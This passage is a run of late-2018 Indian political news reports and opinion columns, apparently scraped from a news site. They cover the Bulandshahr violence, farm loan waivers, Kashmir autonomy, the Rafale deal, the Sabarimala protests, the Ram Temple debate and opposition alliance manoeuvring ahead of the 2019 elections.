proceeds apace, that into the murder of inspector Subodh Kumar Singh has been consigned to dark corners of a very deep freezer. By now, however, Adityanath has nuanced his position on the Bulandshahr violence and murder further. A fortnight or so ago, he had expressed the opinion that the whole affair was an accident. On Wednesday, the chief minister said that the violence was a political conspiracy hatched by those who were losing support in the state. "Cows were slaughtered to in the region to spark communal violence. Such people have been exposed," he said. Further, Adityanath lapsed into a self-adulatory vein. "Those who are giving unnecessary statements are doing it to hide their failures, instead they should applaud the government and should thank the government," he opined. Let us try to decode, the chief ministers later statements. First, how can mob violence that leads to the murder of a police inspector be an accident? Let us not forget that Singhs service revolver and mobile phone were stolen after he was killed. Adityanath categorically said that it was not a lynching. There are insurmountable logical and semantic problems here to which we will revert. Let us progress to the conspiracy theory. The Uttar Pradesh chief minister has said that some people slaughtered cows to spark communal violence and they had been exposed. The problem, of course, is that there was no communal violence in Bulandshahr and till the time of writing it has not become clear who exactly has been exposed or whether anyone has been exposed at all. Instead, what we know for certain is that a mob instigated and led by rightwing Hindutva elements attacked a police picket, set vehicles on fire and killed a police inspector who was trying to control the situation. Further chief ministerial elucidation would indeed be edifying for the public. Then there is the addendum. Adityanath says that those who are giving unnecessary statements are doing it to hide their failures. Who exactly? And what failures? The opposition has been doing what is expected of it: pinning the Bharatiya Janata Party (BJP) and its government down and calling it to account. A group of former bureaucrats have issued a statement unequivocally criticising Adityanath and deploring the manner in which a legally constituted government is subverting the rule of law and the fundamental principles of constitutional democracy. In what have they failed? All this is part of the smoke-and-mirrors political strategy so beloved of the BJP and the forces of Hindutva, of course, which is why we are encountering difficult logical and semantic problems. Set up straw men, knock them down and pretend to be great defenders of some imaginary national good. The problem is that if the straw men were some figments of the imagination, then all the BJP and its cohorts would be guilty of some kind of harmless medieval quixotry, but the straw men are not imaginary people. They are real: the minorities and the Dalits are the most important targets of the Hindutva merchants, whose tilting at windmills attacks the foundations of the nation, constituted law, democracy and its institutions, and the conventions and consensus that have helped keep this country together. The BJPs vision of another Indiaa Hindu stateencapsulates a dystopic political landscape in which nothing will survive other than majoritarian triumphalism. Bulandshahr demonstrates that unequivocally. It also demonstrates that the BJP is determined to undermine all manner of institutions and conventions in the way in which the enquiry into the murder of a police officer is sought to be deflected by rhetoric about cow slaughter. We are left with two questions. Is Adityanath an aberration or is he part of the design of the politics of Hindutva? The latter seems to be the more logical answer, even though his eccentric approach is also an embarrassment for the ruling party. The other question concerns the future of democracy: What happens when the yogi becomes the commissar? If you wish to give farmers a break give them subsidies and easy repayment terms and other support systems but a loan by its very nature is something that has to be given back. I am making an open offer to any political party in India to waive my bank loan and for that munificence I shall give them my vote. It is beyond my comprehension how the nexus between elections and the dissolution of loans to specific voting blocs, like farmers, are seen as legal largesse. If you wish to give farmers a break give them subsidies and easy repayment terms and other support systems but a loan by its very nature is something that has to be given back. Taken to its logical conclusion, all the middle class urban populations who have housing loans and sundry other EMIs hanging over their heads as they pursue a better life in debt should also be given some concessions. And how come it is never the middle class, upper and lower levels included who never get a break as a voting bloc. That is 300 million of us today rising by 2025 to 550 million of us living in 115 million odd clumps called families. This lot pay their taxes, keep the government coffers clinking and live lives of quiet despair, their two ends never meeting, life one big debt. Not just that, a progeny with half baked education stuck between a rock and a hard place with no hope of a decent job, chasing rainbows in the mist, a class that does its duty and yet has little access to timely and inexpensive medical aid, police security or the comforts of influence and nepotism being stranded on the middle rung of the ladder. Between rent and fees and the element of majboori that dictates the pattern of their lives these millions of Indians never seem to count. Just like Kamal Nath, who generously signed a waiver before the ink was even dry on signing in ceremony for wearing the mantle of Chief Minister, we can now expect others to follow suit and dispense these favours. Assam and Gujarat have echoed the same and Congress president Rahul Gandhi believes that the loan waiver for farmers should be nationwide. Great, but while you are encouraging the con-game to farmers and exhorting to them to lose respect for their signature and their word of honour, the middle class lives in dire fear of the loan recall from the bank, delayed credit card payments, suffering the sins of defaulted increments on shoddy housing, exorbitant almost prohibitive school and college fees, vehicle installments, stumbling over the rising price line, bearing the whole burden of this isolated survival not to mention the spectre of getting girls married in a world where image is all. How come no political entity sucks up to them? Earlier this week former RBI chief Raghuram Rajan warned against this sucking up option saying that the well connected farmers are the ones who get the fiscal break not those who are poorly off. The fact that gets lost in these displays of generosity is that the money belongs to the taxpayers and is not, as perceived, given from Naths personal funds or his hereditary large-heartedness. Bearing the brunt will be the taken-for-granted middle class. In the case of Madhya Pradesh, the BJP has attempted to mock the 31 March closing date for the waiver as an attempt to fool the farmers because most of them will fall outside the ambit of the Kamal Nath order. Whether this is true or not and should 30 September have been the deadline is all moot when the waiver is a bribe to get votes. The message given here is not that the ploy is a helping hand but instead an encouragement to cheating the system for votes. Instead, signposting the way to better seeding and crop rotation, subsidized equipment and more secure and hygienic storage facilities and dependable transmodal delivery from crop to consumer should be the priorities. They never are. These states, like Madhya Pradesh, are already on the financial backfoot. By so cavalierly dismissing the loans without even telling the rest of the citizens why this relief was necessary it sets a precedent with no caveat that it provides any inventive to resolving the farmers issues. If the crisis called for it then should it not be predicated to those who are in most perilous situations in the farming sector and not those who can afford to repay their loans and still come out winners. The landless, the tenant farmers, they suffer the most but get little or no help. Nath is now facing a rocky road in administrating to other needs of the state. Among them the shortage of electrical power, shortage of water, limited sanitation crime, especially against children, tribal malnutrition, a restless youth and a dire absence of employment opportunities. Add to this the social problems of female insecurity, child marriages and the Naxal threat and things can only get worse if action is not taken. To take it, where will the money come from? The unloved middle class,of course. Throw them to the wolves. To deflect from the real state of affairs of huge unemployment the Chief Minister has already gone parochial and used the state chauvinism card by accusing outsiders for poaching jobs. That old trick only ends up in conflict, mindless violence and a buttery spread of suspicion while slathering a scapegoat. Dont worry, even that blame will finally settle like an albatross on the neck of the middle class. National Conference (NC) president Farooq Abdullah on Thursday said that his party will pass a resolution for regional autonomy for Jammu and Kashmir. National Conference (NC) president Farooq Abdullah on Thursday said that his party will pass a resolution for regional autonomy for Jammu and Kashmir if the National Conference secures a majority in the state polls. "If Allah blesses us with a majority, within 30 days, we will pass a resolution for regional autonomy," ANI quoted Abdullah as saying. Jammu and Kashmir was placed under President's Rule on Wednesday, six months after imposition of Governor's Rule on 19 June in the wake of People's Democratic Party-Bharatiya Janata Party (PDP-BJP) coalition government falling apart. The Assembly was kept in suspended animation to look at the possibility of fresh government formation in the state but Governor Satya Pal Malik decided to dissolve the Assembly on 21 November. Former chief minister Omar Abdullah on Wednesday had asked Prime Minister Narendra Modi to ensure that Assembly polls were held in Jammu and Kashmir within the stipulated six months following the dissolution of the Assembly. "Sir, please also commit your government to Assembly elections in J&K. Vested interests, including some occupying positions of authority in J&K, are trying to engineer a delay," the National Conference leader had said in a tweet. "Your government's handling of J&K will be judged by whether assembly elections are on time or not sir," he had said, responding to a tweet from Modi lauding the high voter turnout in the state during the panchayat and urban local bodies polls. "The high voter turnout in the polls clearly displays immense faith that people of J&K have put in grass root democratic institutions of the country. Essence of democracy lies in empowerment of the common citizen, to which our government is totally committed," Modi had tweeted. Omar had said he was looking forward to a commitment from the Prime Minister that an elected government will be in place by May next year. "Six months from the date of dissolution means a return to elected government before the end of May 2019. We look forward to your personal commitment to keeping to that schedule jenab PM sahib," Omar had said. With inputs from PTI Prithviraj Chavan said alleged irregularities in the Rafale fighter jet deal will a major poll plank of his party in the upcoming Lok Sabha polls. Indore: Congress leader Prithviraj Chavan on Thursday said alleged irregularities in the Rafale fighter jet deal will a major poll plank of his party in the upcoming Lok Sabha polls. He said the Supreme Court verdict in the mega defence deal can't be interpreted as a clean chit to the Narendra Modi government since the apex court was not an investigating agency. The Modi government is running a campaign to give an impression that the Supreme Court has given it a clean chit in the Rafale deal, the former Maharashtra chief minister told reporters in Indore. "But we dont take the decision as a clean chit at all as the apex court is not an investigation agency," he added. "The issue has not ended yet. It is going to be one of the major poll planks for the Congress in the next year's general elections," the former Union minister added. He said in the inter-governmental agreement, the Modi government has agreed to pay Rs 36,000 crore more to France for buying Rafale jets which is a violation of existing norms. The higher purchasing price for the fighter jets will also affect the government's coffers, Chavan said. "Junior Defence Minister Subhash Bamre, while replying to a question in Parliament, had said the governments of India and France decided the price of a Rafale jet at Rs 670 crore." "The then Defence Minister Manohar Parrikar went to France and announced that it has been decided to buy 36 fighter jets for Rs 60,000 crore. This means the price of one fighter jet climbed up from Rs 670 crore to Rs 1,670 crore," the Congress leader said. "Our allegation is straight the rise in cost by Rs 1,000 crore smacks of corruption," Chavan said. "The CBI or a Joint Parliamentary Committee (JPC) should probe into the Rs 36,000-crore irregularities," he added. Chavan said the ministers who are members of the Cabinet Committee on Security (CCS) should "break their silence" over the Rafale deal. The ruling Bharatiya Janata Party (BJP) and the Modi government have repeatedly denied any wrongdoing in the Rafale deal. Earlier this month, the SC had dismissed the petitions challenging the deal, saying there was no occasion to "really doubt the decision-making process" warranting setting aside of the contract. The apex court rejected the pleas, which sought lodging of an FIR and a court-monitored probe alleging irregularities in the Rs 58,000-crore deal. The BJP may remember that even at the height of Modis popularity in 2014, its vote share didnt cross the 31 percent mark. Denial is the first step towards defeat. Arrogance is hubris. Unless Narendra Modi wants to be the tragic hero of Indian politics, he and his party should lose the attitude of denial over recent Assembly poll defeats and refrain from showing arrogance. So far, we have seen the opposite reaction from his generals. It is inconceivable that the party hasnt launched a post-mortem after losses against bete noire Congress in the three Hindi-speaking states. These states had BJP governments and had contributed handsomely to the partys kitty in 2014. Behind closed doors, the party must have taken note of its falling strike rate in both rural and urban areas and planning some urgent steps before the big one 2019. But public statements matter. Here, there is a very thin line between confidence and hubris. Indian voters are swayed more by emotion than rationality. Politicians know it, and therefore the penchant for rhetoric in poll campaigns. The prime minister, for instance, turned Mani Shankar Aiyars neech comment into an emotive issue during Gujarat campaign. Many say that may have helped BJP clinch a tough battle. If the voters are feeling disillusioned by BJPs promises and have expressed their dissent through the ballot, they are more likely to interpret self-confidence as lack of contrition. Amit Shah has called mahagathbandhan a bhranti (illusion). He has said that it does not exist anywhere and has dismissed the threat posed by opposition parties, calling them regional leaders who cant help each other. The BJP president may have noted that on the very day he passed these judgements during an event in Mumbai, news emerged that Upendra Kushwahas Rashtriya Lok Samta Party (RLSP)BJPs ally in Bihar that had severed ties with NDA recentlyis set to join the grand alliance in presence of RJD and Congress representatives. In an interview to ANI, Kushwaha backed Rahul Gandhi as the next prime minister and called NDA arrogant. The RLSP leader also urged Ram Vilas Paswans Lok Janshakti Partyanother NDA ally in Biharto follow suit because these people have decided to destroy small parties. Kushwahas words and moves might be little more than political posturing and realignments that are inevitable ahead of 2019 Lok Sabha polls. There are also reasons to believe, as Firstpost has argued in a recent column, that mahagathbandhan could be a post-poll reality instead of a pre-poll one. We might see unofficial, tactical seat adjustments during the elections. But even if these calculations are true, the larger picture that emerges is one of discord within the NDAwhose allies are either quitting or becoming increasingly restiveand some sort of grudging acceptance within the UPA that all must band together despite differences to defeat Modi. Shahs confidence that BJP will win again in 2019 seems to be driven by a leap of faith. In 2014, BJP had a government in six states, now we have it in 16 states. So tell me who will win the 2019 elections?. If Shah is pointing towards trends, then recent trends are unfavourable towards the BJP. The BJP president also reiterated that it does not matter who is pitted against Modi. The BJP may remember that even at the height of Modis popularity in 2014, its vote share didnt cross the 31 percent mark. There is still the possibility that a joining of opposition forces (tactical or otherwise) could hamper its chances in 2019 which is unlikely to be another wave election. The reality of coalition politics cannot be dismissed. And yet BJP functionaries seem to be strangely high on confidence. During an event organised by News 18, BJP general secretary Ram Madhav refused to attach much importance to BJPs defeat in Madhya Pradesh, insisting that it still enjoys the popular vote. #Chaupal | Our loss in MP was based on mere arithmetic, we have the popular vote by this elections we will bounce back: @rammadhavbjp tells @KishoreAjwani @News18India pic.twitter.com/fyc4uDsjhM News18 (@CNNnews18) December 19, 2018 In light of MK Stalins remark on Rahul Gandhi as the prime ministerial candidate for the opposition, Madhav has been quoted as saying that the post is not vacant for the next 10 years. It is difficult to understand where the BJP is drawing its confidence from. It must win back its support from the Hindi belt soon enough to have any chance of retaining power. And it must reverse this trend quickly in defiance of history. Lets dig a little deeper to understand the scale of the challenge that BJP faces in Hindi heartland. As Neelanjan Sircar has pointed out in Hindustan Times, BJPs chances in 2019 depend to a large extent on its performance in the Hindi belt. He writes that in Chhattisgarh, Madhya Pradesh, and Rajasthan, the BJP won 62 out of 65 parliamentary constituencies (PCs) in 2014 22% of the 282 seats it won in the election. Crucially, he points out that these wins were the continuation of the trends visible during Assembly polls held the year before. The BJP also won these three states handily in the previous state elections in 2013, whose results corresponded highly with those in the national elections. While defending BJPs poor result in Assembly polls, BJP spokespersons never tire from pointing out that Atal Bihar Vajpayees BJP won these states of Chhattisgarh, Madhya Pradesh and Rajasthan handsomely in 2003 but went on to lose the Lok Sabha elections next year. What they do not point out is that even though BJP suffered reverses elsewhere, it maintained its winning streak in these three states during the 2004 defeat. The implication is that there is no major reversal of trends when Assembly polls are held in close proximity with General Elections. This should worry the BJP. Instead, we find Shah dismissing the link between Assembly and Lok Sabha polls and Finance Minister Arun Jaitley comment with a swagger that no country will prefer suicide as an option on the question of Rahul as prime minister. Hubris brings downfall. It also makes for great tragic heroes. The selection of Pathanamthitta as the venue for the prime minister's public meeting assumes significance in the wake of the boiling Sabarimala women's entry issue and the continuing protest of the BJP over it. Thiruvananthapuram: Prime Minister Narendra Modi will address Bharatiya Janata Party (BJP) workers at a public meeting in Pathanamthitta, the central Kerala district where the Sabarimala Lord Ayyappa Temple is located, on 6 January. He will again visit the state on 27 January to inaugurate a conference of the Bharatiya Janata Yuva Morcha (BJYM), the youth wing of the saffron party, in Thrissur, BJP sources here said. The selection of Pathanamthitta as the venue for the prime minister's public meeting assumes significance in the wake of the boiling Sabarimala women's entry issue and the continuing protest of the BJP over it. The two meetings to be addressed by Modi will also virtually turn out to be the curtain raiser to the BJP's campaigns for the coming Lok Sabha elections in the southern state. Modi's visit is expected to give a boost to the BJP state leadership, which is facing intense criticism from various quarters for calling back-to-back hartals on the Sabarimala row. The indefinite fast staged by the party leaders in front of the state Secretariat in Thiruvananthapuram, demanding the lifting of prohibitory orders and other restrictions at Sabarimala, is yet to create any desired impact. In a recent interaction with party workers in the state, Modi, while referring to the Sabarimala issue, had told party workers to express their views firmly to convince people while following democratic and constitutional norms. BJP state president PS Sreedharan Pillai said besides the prime minister, BJP national chief Amit Shah will address workers in Palakkad on 31 December. "The prime minister will take part in two programmes-one in Pathanamthitta and the second in Thrissur. The upcoming Lok Sabha polls is the focus. As Pathanamthitta happens to be the centre of activity of the Sabarimala pilgrimage, the meeting assumes great significance," he told PTI. Meanwhile, the state and core committee meetings of the BJP, held here Wednesday, had decided to continue their protest against the LDF government's stand to implement the Supreme Court verdict which permitted women of all age groups at the Ayyappa temple, and also against restrictions imposed there. The Kerala BJP unit has been on an indefinite relay fast in front of the Secretariat here since 3 December over various demands, including withdrawal of prohibitory orders and reducing police restrictions at the hill-top shrine. Senior party leader CK Padmanabhan, who was on an indefinite fast for nine days, was arrested on Wednesday and moved to the Medical College hospital in the city after his health deteriorated. BJP state general secretary Shobha Surendran took over the relay fast after the arrest of Padmanabhan. Earlier, BJP general secretary AN Radhakrishnan was on an indefinite fast for eight days. The state had witnessed massive protests by devotees and right-wing groups opposing the entry of girls and women in the 10-50 age group into the Sabarimala temple since the Kerala government decided to implement the apex court order. Over a dozen women have so far made unsuccessful attempts to trek the holy hills. They wanted to tell Congress that buoyed by three victories in Assembly polls, the grand old party must not assumes that Rahul is the automatic favourite to lead an anti-BJP alliance in 2019. Rahul Gandhi for prime minister in 2019? There seems to be a lack of consensus on that front in the so-called United Opposition. The proposed coming together of all the Opposition parties before the 2019 Lok Sabha elections to counter the BJP has already run into trouble over their inconsistent remark on the probable prime ministerial candidate. While DMK leader MK Stalin proposed the name of Congress president Rahul Gandhi to lead the proverbial mahagathbandhan, other Opposition leaders made there displeasure known at the idea. Just a day after Stalin heaped praise on Rahul and expressed faith in his leadership, PTI reported that a number of opposition leaders anonymously expressed reservations over naming any prime ministerial nominee for the Opposition alliance before the general elections. "The Sanajwadi Party, Telegu Desam Party, Bahujan Samaj Party, Trinamool Congress, and Nationalist Congress Party disagree with Stalin's announcement. It is way too early to make any commitment over the prime ministerial face and moreover the united Opposition has not formally announced any alliance for it to be able to announce a common prime ministerial face," a top Opposition leader told the news agency. Nationalist Congress Party subtly yet clearly disagreed with the idea of unanimously handing over the top post to Congress. Party spokesperson Nawab Malik said that it was futile to hold an immediate debate on the prime ministerial candidate. "The Congress itself has declared that it will be decided after the election results," Malik said. Samajwadi Party chief Akhilesh Yadav, who's bonhomie with Rahul was the subject of much deliberation during Uttar Pradesh elections, also said that naming Rahul as prime ministerial candidate may be Stalin's wish but rest of the alliance partners disagreed. Mamata Banerjee-led Trinamool Congress, which has been on good terms with other opposition parties but has not shown the same warmth with Congress, also clearly disregarded the idea. This is not the time. It could be discussed only after the 2019 Lok Sabha elections, once the Opposition alliance emerged winners. All (Opposition) parties will meet and decide on the issue. We will accept that," Banerjee said. It was this very public disagreement within the Opposition leaders that added fuel to talk that the Modi-versus-rest ensemble remains a distant dream. BJP president Amit Shah was quick to pick up these signs of differences and dubbed the Mahagathbandhan an illusion. The reality of the opposition mahagathbandhan is different. It (the opposition alliance) doesnt exist and is a bhranti (illusion), Shah said on Wednesday. It wasn't like the Opposition leaders did not know that by publicly expressing displeasure on Stalin's proposition, they will perpetually hand over an opportunity to BJP to rubbish the idea of alliance and fan speculations in media. But in going public with their disagreements, the Opposition leaders sought to drive home a crucial point: that Congress should not be under the impression that it will walk over smaller parties to grab the top post, simply by the virtue of being the oldest national party. The messaging was strong. They probably wanted to tell Congress that buoyed by three victories in Assembly polls, the grand old party must not assumes that Rahul is the automatic favourite to lead an anti-BJP alliance in 2019. Congress must secure the lion's share of the Lok Sabha seats from amid other alliance members if it dreams of placing Rahul firmly on the saddle. This was clear earlier too, when NCP chief Sharad Pawar had suggested a formula of his own to pick a prime ministerial candidate to avoid any disputes within the grand alliance. "Let elections take place, remove these people (BJP) from power. We will sit together. Whichever party has got more seats can claim the prime minister's post," Pawar had said in August this year. Stalin's pitch that the Gandhi scion had the ability to defeat the "fascist" Narendra Modi government have no takers within the mahagathbandhan. The regional satraps might have their own prime ministerial ambitions as these parties look at expanding their base beyond their respective home states. Meanwhile, for DMK chief Stalin it made sense to pitch for Rahul because he has not displayed any such national ambitions. In fact the DMK chief's plea was in line with the tradition of his late father M Karunanidhi who had earlier invited Indira Gandhi and Sonia Gandhi for leadership roles. However, Stalin's remarks perhaps worried other members of the mahagathbandhan so much that many of them were a no-show at the swearing-in of the newly-elected Congress chief ministers despite offering support in forming the government. The notable names to give the swearing-in ceremonies a miss were BSP supremo Mayawati, Akhilesh and Mamata. More conspicuous by their absence were Mayawati and Akhilesh, who had offered support to Congress in Madhya Pradesh and Rajasthan. The Congress had written to all Opposition leaders inviting them for Congress chief minister's swearing-in, in a bid to show the Opposition unity. Given all the Ram Temple-leaning signs the BJP has shown in recent months, it looks like the party is ready to stick with its saffron strategy and go ahead with its temple first, development later line of work. Earlier it was the Rashtriya Swayamsevak Sangh and the Vishwa Hindu Parishad. Now, its the BJPs own parliamentarians, not to mention the Shiv Sena, demanding to know whether the government is planning to frame a law to construct a Ram Temple at the disputed site in Ayodhya where karsevaks demolished the 16th Century Babri Masjid. BJP president Amit Shahs latest remarks on the Ram Temple appears to indicate that the party is feeling the pressure for not building the temple yet with months to go for the next Lok Sabha elections as it had promised in the run-up to the 2014 polls. Ayodhya is a title issue. The BJP has clearly stated that we want to build a grand Ram Temple at the exact spot and it is the demand of the entire nation... The case was pending before the Supreme Court much before 2014, Shah said at a Republic TV event in Mumbai on Wednesday. On 29 October, the Supreme Court had rejected the Uttar Pradesh governments plea for an early hearing in the Ayodhya matter and ordered all appeals against the Allahabad High Court order in the Ram Janmabhoomi-Babri Masjid title suit to be listed before an appropriate bench in the first week of January to fix a date for hearing. It is interesting that Shah made the remarks on wanting the Ram Temple at the exact spot just a day after BJP MPs, at a parliamentary party meeting, sought to know what the governments stand on the matter was. Although both Shah and Prime Minister Narendra Modi were absent at the meeting, Home Minister Rajnath Singh asked the MPs to remain patient. Rajnathji has asked us to wait... When the domes were brought down in 1992, no one had taken the courts permission. Now the controversial structure doesnt even exist there. So people should build the temple. Its a matter of faith, Ghosi MP Hari Narayan Rajbhar said after the meeting. In the current atmosphere in the country thats heading for a high-voltage election, this renewed movement for the Ram Mandir makes one wonder what the focus of various parties will be, especially the BJPs. At election rallies leading up to the 2014 general elections, BJP leaders had made tall claims of building the Ram Mandir at Ayodhya if it was voted to power, but its manifesto was not as impassioned about the poll promise. In its 42-page manifesto, the party had made only a passing mention of the Ram Temple on page 41 under a section titled Cultural Heritage. BJP reiterates its stand to explore all possibilities within the framework of the Constitution to facilitate the construction of the Ram Temple in Ayodhya, its manifesto had read. This rider saying that its efforts would be "within the constitutional framework" is what Modi reiterated in an interview, as well. The country doesnt run according to glib statements. The country runs as per the Constitution and constitutional rules. The country will also grow according to these constitutional rules, Modi had said. The key here is glib statements. Although party leaders made passionate statements about building the Ram Temple at campaign rallies, it remained surprisingly non-committal towards it in its manifesto; even more so when compared to the assertive stand it had taken in its 2009 manifesto. There is an overwhelming desire of the people in India and abroad to have a grand temple at the birthplace of Sri Ram in Ayodhya. The BJP will explore all possibilities, including negotiations and judicial proceedings, to facilitate the construction of the Ram Temple in Ayodhya. Five years later, though the party kept up its narrative on the Ram Janmabhoomi-Babri Masjid case, it switched its focus to development, economic growth and welfare schemes. Now add Uttar Pradesh chief minister Yogi Adityanath to the equation along with his hardline Hindutva politics and spree to rename cities, including rechristening Faizabad as Ayodhya and club it with the re-energised movement of Hindutva groups to press for a law to facilitate the construction of the Ram Temple. It would appear that these Hindutva leaders are hell bent on ensuring that Ayodhya has a Ram Temple at the earliest, and theyre willing to go to any extent to achieve that end. After years of stony silence on the communal matter, Modi finally spoke up on the Ram Mandir dispute on 25 November, the same day the VHP organised a "Dharma Sabha" in Ayodhya to push for the construction of the temple. At an election rally in Rajasthan, Modi had accused the Congress of attacking the judiciary while it was hearing a crucial case like the Ayodhya dispute. "The Congress creates an atmosphere of fear for the judiciary when the court hears the Ayodhya issue. They do everything possible to impeach the Chief Justice of India. How can such things be accepted?" the prime minister had said. While this might not seem like much, one could believe that Modis comments indicate that the saffron party indeed believes it can retain power at the Centre if it adds more Hindutva vigour to its politics. And the run-up to the recently-concluded Assembly elections proves just that. At campaign rallies, BJP leaders reiterated the partys promise to build the Ram Temple time and again, in state after state. It focussed far more on the temple and on pointing out what the Congress (and the ancestors of its leaders) failed to do than highlighting what it planned to do to develop the backward regions of these states and to improve the welfare of the people. It chose to focus on a subject the party believes holds importance to tribal voters in Chhattisgarh, or starving farmers in Telangana. An analysis of the path the BJP chose to take in the past few months would indicate that the saffron party has decided to play the politics of its colour ahead of 2019 and stray from its earlier agenda of development and public welfare. Sabka Saath, Sabka Vikas could well be replaced by Mandir Wahin Banayenge, adopting from a slogan used frequently before the 1992 movement Ek nahi, do baar nahi, har baar yahi daurayenge. Saugand Ram ki khate hain, mandir wahin banayenge. In terms of their focus, the Congress and BJP appear to have switched roles. Although the Congress has neither supported nor opposed the Ram Temple outrightly, it mostly appeared to be floundering for votes with no apparent goal. But the recent elections revealed a well-thought-out strategy that ultimately helped the Congress wrest power from the BJP in three Hindi heartlands. An NDA ally itself has acknowledged this shift in focus. Lok Janshakti Party leader and Union minister Ram Vilas Paswans son Chirag Paswan said the BJP remained tangled in religion and temples while the Congress focussed on development. The Congress fought the elections on issues like farmers and unemployment, but the BJP majorly restricted itself to religion and temples, he said. Paswan might as well have spelled out what appears to be the BJPs strategy for 2019. So much so that the party has roped in priests and seers to try to consolidate Hindu votes ahead of the Lok Sabha polls. Furthermore, the partys relentless stand against the Supreme Court verdict allowing the entry of menstruating women inside the Sabarimala temple in Kerala could also be considered indicative of its attempts to appeal to Hindu sentiments and uphold tradition over equality. And this is in a state where its influence is even lower than limited. Also, pressure from the RSS its ideological partner that is believed to have played a key role in the BJPs landslide victory in 2014 is also a prime factor to consider. While the Hindutva group has always been vocal about its demand for a Ram Temple, it has recently upped its game and been demanding a law to bypass the Supreme Court. BJP leader and Union minister Giriraj Singhs statement after the Supreme Court deferred the hearing in the Ram Janmabhoomi-Babri Masjid title suit, in a way, sums up what the partys stand could be construed to be. There should not even be any debate over it. Theres not even any need to involve the courts here, he had said. But it is this lack of focus on local issues and emphasis on Hindutva politics that cost the BJP three states in the Assembly elections. Given all the temple-leaning signs it has shown in the past few months, it looks like the BJP is ready to stick with its saffron strategy and go ahead with its temple first, development later line of work, like the Shiv Senas pehle mandir, fir sarkar (first temple, then government) stand. On Wednesday, Chirag Paswan made public its unease with the BJP, saying it had digressed to 'non-issues' like Ram temple and demanded urgent steps to return to the 'real issue' of development. Lok Janshakti Party (LJP) chief Ram Vilas Paswan and his son Chirag Paswan have met Bharatiya Janata Party (BJP) president Amit Shah on Thursday evening. The two parties are expected to discuss seat-sharing in Bihar ahead of the 2019 Lok Sabha election. On Wednesday, Chirag Paswan made public his unease with the BJP, saying it had digressed to "non-issues" like the Ram temple and demanded urgent steps to return to the "real issue" of development. While being critical of the BJP, Chirag praised Congress chief Rahul Gandhi, saying he had raised "real" issues of the youth and farmers, which helped the party win in the recently-held Assembly elections in Rajasthan, Madhya Pradesh and Chhattisgarh. However, he stated that alleged differences over seat-sharing with the NDA were "not an issue at all" and "it will be too early to talk about going out of the alliance." At the same time, he said, "The NDA was voted to power in 2014 on the issue of sabka saath, sabka vikas (cooperation to all, development for all). The youth and the farmers had supported our government. But recently, non-issues have dominated over the real issues, because of which we had to suffer losses in these (Assembly) elections." With inputs from ANI Ram Vilas Paswan has a famed perceived ability to read in advance which way political winds will blow, whether they will change direction or blow stronger in the same direction Ram Vilas Paswan has a famed perceived ability to read in advance which way political winds will blow, whether they will change direction or blow stronger in the same direction. That's why except for a period of five years (2009 to 2014) when he lost the election, he had been a Union minister in every government since 1996, holding important portfolios. Paswan was a minister in the VP Singh government in 1989 and has worked in the Cabinet of six prime ministers of various political hues National Front, United Front, UPA and NDA in governments since the time the coalition era became a reality in Indian politics. It's true that the consumer affairs, food and public distribution minister at the Centre has not made any statements about the government he is serving or against the party. But his son Chirag, a failed Bollywood actor and chairman of the parliamentary board of his party, the Lok Janshakti Party, is sending out signals that ahead of the 2019 Lok Sabha election, his father may yet again switch sides, leaving the NDA bandwagon to ride on the Mahagathbandhan ship. Chirag is now finding virtues in Rahul Gandhi and several faults with the way the NDA is run by the BJP. He is smart enough to add that he is part of the NDA and will continue to be so in 2019, when he will fight the next election under Prime Minister Narendra Modi's leadership. That's the way politics is: Keep the suspense going till an alternate course is finalised. Chirag's tweets and statements made at various news channel conclaves raises the question: Has Paswan started reading a possible change in the direction of winds impacting the powers-that-be in New Delhi? The Congress has snatched three Hindi heartland states Madhya Pradesh, Rajasthan and Chhattisgarh from the BJP, but there is no indication on the ground that this had been a referendum on Modi's popularity or that of his regime at the Centre. Modi continues to be most popular leader on the national political spectrum. The electoral history of elections in these states and parliamentary elections since 1998 indicates that the results of these Assembly elections don't impact parliamentary polls. Remember, Paswan had made a huge U-turn (having claimed earlier that he would prefer to drink poison than join hands with the BJP) and joined Modi's bandwagon ahead of the 2014 election and the rest is history. After speaking to NDA leaders, particularly from Bihar and after assessing statements made by Chirag (where he says that seat-sharing was not an issue), Firstpost gathered that it was not that the senior Paswan was convinced that the Modi government was on its way out, but there was something else that was bothering him. If one notices, the threatening tone of Chirag's tweets or statements came after the verdict of the three state Assemblies was out. The results portrayed that besides other things that rocked the BJP's boat, one important factor was the backlash of upper castes against the BJP due to its reversal of the Supreme Court's judgment on the SC/ST Act. It's a known fact that Paswan on his own, or on the strength of his party, can't win an election. With his support base among the Paswan community (around five percent), he can help a party win a closely-contested election and he, his family and party members can win an election only if he aligns with another party or group of parties. So far, Paswan has enjoyed the support of upper caste voters. But given the firm position he took on the Supreme Court verdict even crediting himself for the Modi government's decision to reverse that judgment with a fresh law, he has antagonised sections of upper caste voters. There is a fear that he, his brother Ramchander, Chirag and other party leaders may have to face a severe upper caste backlash and this makes him wary of his political prospects. But if he switches sides, the Muslim-Yadav support base of Lalu Prasad Yadav's RJD and its aligned parties may help in keeping him and his family politically afloat. That is the dilemma Paswan and his kin in leadership positions in the LJP now face. While Paswan's dilemma continues, the so-called Mahagathbandhan in Bihar has expanded. The Congress headquarters in Delhi played host to the announcement of the inclusion of Upendra Kushwaha, the president of the Rashtriya Lok Samata Party. The party, all of whose elected members (two other MPs, two MLAs and an MLC were elected on NDA's support and have chosen to remain with NDA) deserted and joined the Mahagathbandhan. Senior Congress leaders Ahmed Patel and Shakti Singh Gohil announced the inclusion of Sharad Yadav (a longtime president without a party) into the Mahagathbandhan. Then there was Jitan Ram Manjhi, chief of the Hindustani Awam Morcha (HAM) whose presence so far has proved to be inconsequential in electoral terms. But RJD leader Tejashwi Yadav's presence added some value to the congregation of these leaders announcing the formation of an anti-Modi coalition in Bihar. The Left parties are also expected to align with this formation. A senior Congress leader who is playing an important role in the formation of the Mahagathbandhan in Bihar said, "Keep your fingers crossed. There may be a big announcement (a veiled reference to Paswan's eventual switch) in the days to come. We are looking expectantly at it. A seat-sharing formula in our grand coalition will be discussed only when we are sure that all those who have to be on board are on board." LJP chief Ram Vilas Paswan's son Chirag has asked Finance Minister Arun Jaitley to list the benefits of demonetisation so that he can 'explain' them to people New Delhi: On a day former BJP ally Upendra Kushwaha joined the UPA, the saffron party's ties with the Lok Janshakti Party appeared to be in trouble with LJP leader Chirag Paswan asking the central government to explain what benefits demonetisation brought to the country. An hour-long meeting between top BJP leaders, including its president Amit Shah and Finance Minister Arun Jaitley, and LJP chief Ram Vilas Paswan and his son Chirag remained inconclusive, sources indicated. However, BJP general secretary Bhupender Yadav, who is his party's in- 